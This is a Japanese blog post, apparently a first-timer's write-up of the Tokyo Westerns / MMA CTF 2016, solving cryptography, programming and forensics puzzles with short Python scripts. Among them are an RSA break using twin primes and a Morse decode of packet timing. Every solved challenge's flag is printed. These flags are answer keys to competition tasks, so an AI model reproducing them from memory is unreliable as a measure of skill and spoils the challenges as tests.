NLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLbm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==bm90dGhlZmxhZw==QUNLQUNLQUNLQUNLQUNLQUNLEOFQUNLEOFQUNL

連続したDataをまとめる
例) b3: bm90dGhlZmxhZw==が3連続

b1Q1b1Q1b1Q1b1Q1b1Q1b3Q3b6Q6b3Q3b3Q3b6Q6b3Q3b3Q3b3Q3b6Q6b1Q1b5Q5b6Q6b3Q3b6Q6b3Q3b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b6Q6b3Q3b6Q6b3Q3b6Q6b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b1Q1b1Q1b1Q1b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b6Q6b6Q6b3Q3b3Q3b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b6Q6b6Q6b3Q3b3Q3b3Q3b6Q6b3Q3b6Q6b6Q6b3Q3b6Q6E1Q1E1Q1b1Q1b1Q1b1Q1b3Q3b6Q6b3Q3b3Q3b6Q6b3Q3b3Q3b3Q3b6Q6b1Q1b5Q5b6Q6b3Q3b6Q6b3Q3b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b6Q6b3Q3b6Q6b3Q3b6Q6b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b1Q1b1Q1b1Q1b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b6Q6b6Q6b3Q3b3Q3b6Q6b3Q3b3Q3b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b3Q3b3Q3b3Q3b3Q3b6Q6b6Q6b6Q6b6Q6b3Q3b3Q3b3Q3b6Q6b3Q3b6Q6b6Q6b3Q3b6Q6E1Q1E1Q1

対話でまとめる
例) 3: b3Q3

111363363336156363663333333336636363666333331113333663663363333336633336666333636636EE

1と5がおかしい(or 怪しい)のでもう一度Wiresharkを眺めてみる
"111"と"5"以外の対話は0.5秒間隔か1.5秒間隔

連続したDataでまとめず、間隔が開いている箇所で区切ってまとめる

3363363336663636633333333366363636663333333333663663363333336633336666333636636EE

綺麗に3と6で表せる
二種類の要素で表せるもの ∋ 2進数, モールス信号, ...
2進数のデータにしては小さい

試しにモールス信号で復号すると
最初の文字がf(3363)、次の文字がl(3633)とみなせる

さらに

3(0.5秒)3(0.5秒)6(0.5秒)3(1.5秒)3(0.5秒)6(0.5秒)3(0.5秒)3(0.5秒)

と、fとlの間だけ1.5秒間隔だったので
1.5秒間隔を文字の区切りと捉えて

#1.5秒間隔ごとに区切った場合の、各対話の開始時刻
l=[00.0,03.0,06.0,08.0,10.5,14.0,17.0,20.5,23.5,26.0,29.5,32.5,36.0,39.0,42.0,45.5,47.5,51.0,54.5,58.5]
s="..-..-...---.-.--.........--.-.-.---..........--.--..-......--....----...-.--.-"
d={".-":"a","-.":"n","-...":"b","---":"o","-.-.":"c",".--.":"p","-..":"d","--.-":"q",".":"e",".-.":"r","..-.":"f","...":"s","--.":"g","-":"t","....":"h","..-":"u","..":"i","...-":"v",".---":"j",".--":"w","-.-":"k","-..-":"x",".-..":"l","-.--":"y","--":"m","--..":"z","-.--.":"{","-.--.-":"}",".----":"1","..---":"2","...--":"3","....-":"4",".....":"5","-....":"6","--...":"7","---..":"8","----.":"9","-----":"0"}

flag=""
prev = 0
for i in range(0,len(l)-1):
    a = l[i+1]-1.5-l[i]
    b = int(a/0.5)+1
    flag+=d[s[prev:prev+b]]
    prev+=b
print(flag)

flag{h4ck7h3pl4n37}

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました

CTF自体が初参加、しかもソロプレイ。
ということで、1問も解けない不安があったんですけど、初心者でも解ける問題が用意されてて、めちゃ面白かったです。
結果は109位。


ちゃんとWriteup(解法)を書くことがすごく重要らしいので、簡潔に書いてみました。

Welcome!! (Misc,Warmup 10)

コピペです。

TWCTF{Welcome_To_TW_MMACTF!!}

一つ気になったのが、Welcome!!提出チーム数が821なのに、点数が正のチームが835チームなんですよね。
14チームはどこに消えたのか。
怖いですね。

Make a Palindrome! (PPC,Warmup 20,30)

与えられた単語を並び替えて回文にする。
制限は、単語数N<=10、テストケース30個、時間制限3分。
ということで、O(N!)のプログラムで十分間に合います。

# words: input
# answer: answer
for t in itertools.permutations(words):
    if "".join(t) == "".join(t)[::-1]:
        answer=t
        break
TWCTF{Charisma_School_Captain}
TWCTF{Hiyokko_Tsuppari}

Twin Primes (Crypto,Warmup 50)

双子素数を扱ったRSA暗号による暗号文の復号。
p*qと(p+2)*(q+2)からp,qがわかるので逆算が可能です。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *

encrypted=7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929

n1=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951 #p*q
n2=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859 #(p+2)*(q+2)

pplusq=(n2-n1-4)//2

e = long(65537)
d1 = inverse(e, n1-pplusq+1) #pq-(p+q)+1 (p-1)*(q-1)
d2 = inverse(e, n1+pplusq+1) #pq+(p+q)+1 (p+1)*(q+1)
key1 = RSA.construct((n1, e, d1))
key2 = RSA.construct((n2, e, d2))

encrypted=key2.decrypt(encrypted)
encrypted=key1.decrypt(encrypted)
encrypted=long_to_bytes(encrypted)
print encrypted 
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Super Express (Crypto 100)

線形的にハッシュ化されたハッシュ値の復号。
例えば、key="DCBAEFGH"だったら、

x=(ord("A")(ord("B")(ord("C")(ord("D")*x+ord("E"))+ord("F"))+ord("G"))+ord("H")) % 251 
 =(P*x+Q) % 251

のようになるので、

ord("T")=84 : P*84+Q%251=0x80
ord("W")=87 : P*87+Q%251=0x5e

からP=156,Q=76が求まり各文字の対応がわかります。

A={}
P=156
Q=76
for x in range(251):
    c=(P*x+Q)%251
    A['%02x' % c]=chr(x)

encrypted="805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"
ans=""
for i in range(0,len(encrypted),2):
    ans+=A[encrypted[i:i+2]]
print ans
TWCTF{Faster_Than_Shinkansen!}

rps-ng (PPC 130)

じゃんけんAIに50回中40回以上勝つ。
AIはプレイヤーの(前の手,今回の手)になった回数をtable[前の手][今回の手]に記録、その回数を評価し最善手を出してきます。
tableは初め0~5に値で初期化されていますが、プレイヤーはその値はわかりません。
プレイヤーは、じゃんけんをしながらtableを予想し、矛盾に対して辻褄合わせをします。

my_table=[[0 for x in range(3)] for y in range(3)]
prev=0
result = 0
RPS=["R","P","S"]

def my_hand():
    global prev
    global my_table
    j = -1
    m = -1
    for i in range(3):
        if m < my_table[prev][i]:
            m = my_table[prev][i]
            j = i
    return (j + 2) % 3
#cur 0:R 1:P 2:S
#result 1:win 0:draw -1:lose
def update_my_table(cur,result):
    global prev
    global my_table
    # print(RPS[cur])
    m = -1
    for i in range(3):
        if m < my_table[prev][i]:
            m = my_table[prev][i]
    if result == 0:
        my_table[prev][(cur - 1) % 3]+=1
    elif result == -1:
        my_table[prev][cur]+=1
    my_table[prev][cur]+=1
    prev = cur
TWCTF{The_hand_is_determined_by_mien}

Lights Out! (PPC 100,300)

lights out(ライツアウト)亜種の解答プログラムを作る。
「ライツアウト 解法」とググって出てくるサイトに、掃き出し法で解くっぽいことが載っています。
実装法は全くわからなかったので他人のコードをpythonに移植してnormalのみ解きました。
lunaticはメモリエラーで挫折。

TWCTF{peaceful_tea_party}

glance (Misc 50)

gifアニメの画像を分解して繋げ直して一枚の画像にする。
ImageMagickで、

convert +append glance.gif _glance.gif
TWCTF{Bliss by Charles O'Rear}


(Web Pwn Forensic Reverseが1問も解けませんでした)